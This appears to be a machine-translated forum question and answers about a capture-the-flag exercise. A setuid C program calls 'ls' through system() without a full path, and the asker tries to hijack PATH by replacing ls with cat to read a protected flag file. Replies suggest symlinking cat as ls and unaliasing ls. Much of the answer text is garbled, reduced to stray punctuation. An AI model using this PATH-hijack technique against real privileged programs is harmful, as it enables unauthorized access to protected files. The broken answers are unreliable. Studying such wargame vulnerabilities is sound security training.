How to convert the ls command to the cat command?

Question

I am trying to solve this problem, I am only allowed to run the ls command, and my goal is to read the flag. There is vulnerable C code that has setuid.

    -rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c
    -rw-r----- 1 lameprogrammer lameprogrammer  154 Sep 15 07:40 flag

I am an attacking user and I have to read this flag file. Given code C

    #include <stdlib.h>
    #include <stdio.h>

    #define FILENAME "/var/challenges/attacker/challenge1/flag"

    int main(void)
    {
        int vert;
        vert = system("ls " FILENAME);
        if(!vert)
            puts("Flag is at " FILENAME " :P ");
        else
            puts("Sorry! no file is there");
    }

I tried to convert ls to cat, so if it starts, it will read the flag file . To do this, I copied the entire bin folder to my local space, and then replaced ls with cat, and then exported a new PATH. Technically, this should replace, and my ls team should work like a cat, but it does not work. The following is my command:

   cp -r /bin /home/attacker
   cd /home/attacker/bin
   rm ls
   cp cat ls
   export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games

The ls command does not work like cat and output:

   ls: unrecognized option '--color=auto'
   Try 'ls --help' for more information.

. /vul _c, , , . ! .

.

Answer 1

, . , , cat.

:

   ln -s /bin/cat ls

, , , . . , .

Answer 2

? , ls , , , , -

alias ls='ls --color=auto'

, cat . , ls, script, . , - unalias ls .

system ls, - chmod +x ls.

Answer 3

Try the following command:

unalias ls